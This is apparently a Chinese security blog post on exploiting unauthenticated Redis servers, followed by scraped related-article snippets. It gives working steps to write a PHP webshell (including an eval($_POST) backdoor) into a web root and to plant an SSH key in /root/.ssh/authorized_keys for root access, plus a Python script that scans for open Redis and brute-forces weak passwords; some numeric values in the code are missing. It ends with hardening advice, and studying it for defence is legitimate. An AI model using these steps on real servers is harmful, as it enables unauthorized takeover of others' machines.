Redis 未授权访问漏洞(附Python脚本)
0x01 环境搭建
#下载并安装
cd /tmp
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8..tar.gz
cd redis-2.8.
make
#启动redis服务
cd src
./redis-server
启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了。 比如:
root@kali:/tmp/redis-2.8./src# ./redis-cli -h 192.168.125.140
192.168.125.140:> ping
PONG
192.168.125.140:>
0x02 未授权访问漏洞测试
使用redis客户端直接无账号成功登录redis:

从登录的结果可以看出该redis服务对公网开放,且未启用认证。
利用redis写webshell
利用前提:
1.redis未授权 能redis-cli连上
2.开了web并且知道路径(如利用phpinfo)
我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:
config set dir /home/wwwroot/default/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
save
当数据库过大时,redis写shell的小技巧:
<?php
set_time_limit();
$fp=fopen('wtf.php','w');
fwrite($fp,'<?php @eval($_POST[\"mmbns233\"]);?>');
exit();
?>
利用"公私钥"认证获取root权限
ssh免密码配置
ssh-keygen -t rsa -P '' #生成公钥/私钥对
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt #将公钥写入 foo.txt 文件
连接 Redis 写入文件
cat foo.txt | ./redis-cli -h 192.168.125.140 -x set crackit
./redis-cli -h 192.168.125.140
config set dir /root/.ssh/
config get dir
config set dbfilename "authorized_keys"
save
利用私钥成功登录redis服务器

0x03 Pyhton脚本自动化测试
可用来测试是否存在未授权或弱口令的情况
#! /usr/bin/env python
# _*_ coding:utf- _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv()
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv()
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[]
port=sys.argv[]
print check(ip,port, timeout=)
Redis测试:

0x03 解决方案
1、比较安全的办法是采用绑定IP的方式来进行控制。
请在redis.conf文件找到如下配置
# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
# bind 127.0.0.1
把# bind 127.0.0.1前面的 注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。
2、设置密码,以提供远程登陆
打开redis.conf配置文件,找到requirepass,然后修改如下:
requirepass yourpassword
yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。 命令如下:
redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器
keys * //输出服务器中的所有key
报错如下
(error) ERR operation not permitted 这时候你可以用授权命令进行授权,就不报错了 命令如下:
auth youpassword
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

参考文章:
Redis 安装 http://www.runoob.com/redis/redis-install.html
Redis未授权访问漏洞 http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1
Redis 未授权访问配合 SSH key 文件利用分析 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
Redis未授权访问漏洞利用姿势 http://www.jianshu.com/p/e550628ba1bc
Redis 未授权访问漏洞(附Python脚本)的更多相关文章
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...
- 浅谈Redis未授权访问漏洞
Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...
- Redis未授权访问漏洞复现与利用
漏洞简介 Redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露到公网上,如果在没有设置密码认 ...
- 利用redis未授权访问漏洞(windows版)
0x00 原理 首先需要知道的是,redis是一种非关系型数据库.它在默认情况下,绑定在0.0.0.0:6379 ,若不采取相关策略,比如添加防火墙限制非信任IP访问,会使得redis服务暴露到公 ...
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
- docker搭建redis未授权访问漏洞环境
这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...
- redis未授权访问漏洞那拿SHELL
一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...
- Redis未授权访问漏洞复现
Redis未授权访问漏洞复现 一.漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没 ...
随机推荐
- 关于sentinel LDK加密war包实现应用加密的使用方法
经过一周多时间的研究,终于对sentinel产品的使用有个基本的掌握.其中走了不少的弯路,特此记录一下,以备后面回顾. 开发前的用料准备: windows 10 x64位, tomcat7 x64bi ...
- Qt 菜鸟的坑 QAbstractSocket::isValid()
我曾经多次在 Qt socket 编程中使用 tcpSocket.isValid 来判断我当前的连接是否可用,最近写程序时才发现此法并不妥当. bool QAbstractSocket::isVali ...
- 自然语言交流系统 phxnet团队 创新实训 项目博客 (十四)
项目技术借鉴报告: 一.服务器端(Server) 1.分词 分词使用的是庖丁分词.使用盘古分词词库和词素作为辅助.其中包括下载Jar包并且使用. 2.人工神经网络 以网上已有的初级网络为蓝图,结合机器 ...
- String、StringBuffer与StringBuilder 复习回顾总结
1.三者在执行速度方面的比较:StringBuilder > StringBuffer > String 2.String <(StringBuffer,StringBuild ...
- 【转】C#多线程环境下调用 HttpWebRequest 并发连接限制
.net 的 HttpWebRequest 或者 WebClient 在多线程情况下存在并发连接限制,这个限制在桌面操作系统如 windows xp , windows 7 下默认是2,在服务器操作 ...
- e816. 创建工具栏
A toolbar can be either horizontal or vertical. When the orientation is horizontal, the objects in t ...
- Hadoop分布式集群部署(单namenode节点)
Hadoop分布式集群部署 系统系统环境: OS: CentOS 6.8 内存:2G CPU:1核 Software:jdk-8u151-linux-x64.rpm hadoop-2.7.4.tar. ...
- C# 窗口自适应窗口宽度和高度
其实winform并不适合做自适应这玩意的,虽然,能做是能做, 就像菜刀一样能切水果,但是,不是那么合适,毕竟有水果刀 wpf做自适应拉伸窗体,会更好一些. 代码: #region 自适应 priva ...
- MYSQL的索引类型:PRIMARY, INDEX,UNIQUE,FULLTEXT,SPAIAL 有什么区别?各适用于什么场合?
一.介绍一下索引的类型 Mysql常见索引有:主键索引.唯一索引.普通索引.全文索引.组合索引PRIMARY KEY(主键索引) ALTER TABLE `table_name` ADD PRIMAR ...
- thinkphp模板中使用方法
1.php中的方法使用 <?php $var_num = "13966778888"; $str = substr_replace($var_num,'*****',3,5) ...